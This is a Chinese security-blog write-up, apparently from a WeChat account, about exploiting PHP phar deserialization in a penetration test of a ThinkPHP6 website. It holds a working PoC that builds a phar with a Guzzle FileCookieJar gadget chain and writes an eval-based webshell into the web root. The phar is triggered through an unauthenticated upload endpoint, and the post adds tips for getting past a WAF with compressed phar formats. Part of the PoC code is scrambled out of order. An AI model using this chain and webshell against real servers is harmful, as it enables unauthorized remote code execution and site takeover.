公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
----------------------------------------------------------------------
0x01 前期打点
见团队群里有师傅发来了一个基于php的开发网站。在师傅的帮助下,发现了网站的后台以及存在的ueditor编辑器。
同时师傅通过进一步的信息收集,发现了该网站开发的demo网站,并成功获取到了源码。
在拿到源码前,对网站进行测试,发现该网站是基于thinkphp6开发的,并且开启了debug模式。从而 获得了网站的绝对路径和操作系统。
面对thinkphp开发的网站,首先先去runtime目录查找log,看是否能获取到有用的信息。很不幸,这次 由于waf的原因并没有能够获取到日志信息。其次就是关注thinkphp的版本,若版本为2,5.0,5.1系列 的低版本则可能存在命令执行的漏洞,若为thinkphp3的低版本则重点关注查询处是否可以进行sql注 入。若这些都无功而返,则在黑盒情况下,就回归正常渗透流程,寻找弱口令,上传点等,看是否能够 通过上传获取到webshell权限,但是thinkphp属于是web框架,对于这类框架还存在一种利用方式就是 反序列化。
0x02 php反序列化介绍
php反序列化有三种常见的形式:
-
1. 调用函数unserialize进行反序列化 -
2. 在session的处理中会进行序列化与反序列化操作 -
3. 通过phar://伪协议对phar文件进行反序列化
而一般来说,unserialize的使用较不常见,session反序列化可控产生的条件也较为苛刻。而phar反序 列化只需一个上传点且能获得文件路径的情况下,在php文件系统函数中filename参数前缀可控的情况 下一般都能触发。常见的可以触发phar反序列化的php文件系统函数如下:
从上图可以发现,phar反序列化可以触发的函数很多,而且大部分是无害的常用函数,这就使得在程序 开发中对phar反序列化的防范较为困难。
这样在渗透测试时,拿到上传点但是文件处有后缀名限制的情况下,可以考虑想办法获取源码对反序列化进行测试。
0x03 寻找可以触发phar反序列化的点与反序列化链的挖掘
言归正传,在这次的渗透测试中已经拿到了上传点。在获取源码后,我对源代码进行了审计。发现在 admin的controller底下存在一个upload的类,且也没有做鉴权操作,可以直接访问。其中有个函数为 upload,代码如下:
可以发现upload函数是对文件的后缀名进行了检查,且为白名单,无法上传php的webshell。但是再观 察会发现在函数的开始就调用了is_dir函数,且$path变量是我们完全可控的。结合之前的上传点,立马 就想到了反序列化的操作。那么现在的重点就是挖掘一条反序列化的链了。
说到php反序列化链的挖掘就不得不提到php的魔术方法。由于在对象反序列化时会调用__wakeup魔术 方法,在对象消亡时会调用__destruct方法。但是__wakeup方法一般用于对于反序列化数据的完整性和 合规性进行校验,一般利用点较少,反而是经常需要进行绕过的魔术方法。但是__destruct则不同,反 序列化生成的对象在脚本运行结束后肯定会被销毁。所以__destruct一定会被调用,而且__destruct很可 能伴随一些写入或是对字符串的操作,这可能会有着接下来的利用方法,所以在对反序列化链进行挖掘 的时候,常常将入口点放在__destruct上面。
在本次挖掘中,有__destruct的方法如下图:
在发现第一个拥有__destruct的类名为FileCookieJar,在跟进看下它的__destruct方法
出现了存储文件的操作,且由于反序列化的原因,我们可以控制这里的$this->filename。所以这边可能 存在写入webshell的可能。
继续跟进函数进行查看
这样可以发现,我们只要设置$this->storeSessionCookies = true,且$this->data['Discard'] = 0,再对 data数组增加一个payload字段进行写入我们的webshell。这样就可以成功写入shell了。poc如下:
namespace GuzzleHttpCookie{
class SetCookie {
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
poc利用 生成phar之后,用之前的ueditor进行上传,再通过访问之前的upload接口,即可成功触发poc。
'HttpOnly' => false
];
function __construct()
{
$this->data['Expires'] = '<?php eval($_POST[1]);?>';
$this->data['Discard'] = 0;
}
}
class CookieJar{
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}
class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
} }
}
parent::__construct();
$this->filename = "C:/wwwroot_1232123.php";
$this->storeSessionCookies = true;
namespace{
$pop = new GuzzleHttpCookieFileCookieJar();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($pop);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
0x04 POC利用
生成phar之后,用之前的ueditor进行上传,再通过访问之前的upload接口,即可成功触发poc。
成功生成teeest.php
这里提一些需要注意的点:
-
phar反序列时尽量采用绝对路径。若为相对路径,nginx和apache生成的文件的路径会有所不同, 这和中间件稍微有点关系。
-
phar反序列化在filename参数中,只要前面路径能到达phar文件就行,后面还有其它不存在的路 径也没事。
0x05 phar反序列的其它形式
若对phar或者webshell的一些标志进行绕过waf。则可以对其进行gz或者bz压缩后,一样可以触发反序 列化。同时也可以采用tar形式和zip形式的phar包进行反序列化。值得注意的是在zip形式中不能出现 x00,这可以用大写的S进行16进制绕过。不过绕过后需要对zip的eocd中记录的注释长度进行修改。因 为在phar反序列化中zip文件中eocd的记录的注释长度和文件实际的注释长度进行了比较,如下图所 示。若是php7的情况,则由于对类型校验不全,可以用public来替代修饰变量的private和protect,从 而避免x00的出现。关于zip,tar,bz,gz的具体使用,可以参考这篇文章https://guokeya.github.io/p ost/uxwHLckwx/
参考文章
https://xz.aliyun.com/t/6699 https://guokeya.github.io/post/uxwHLckwx/
感谢师傅前期的信息收集,拿到源码带来了很多的便利。同时本文中一些poc利用的图来源师傅测试时的截图。
原文始发于微信公众号(听风安全):phar反序列化在实战中的应用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论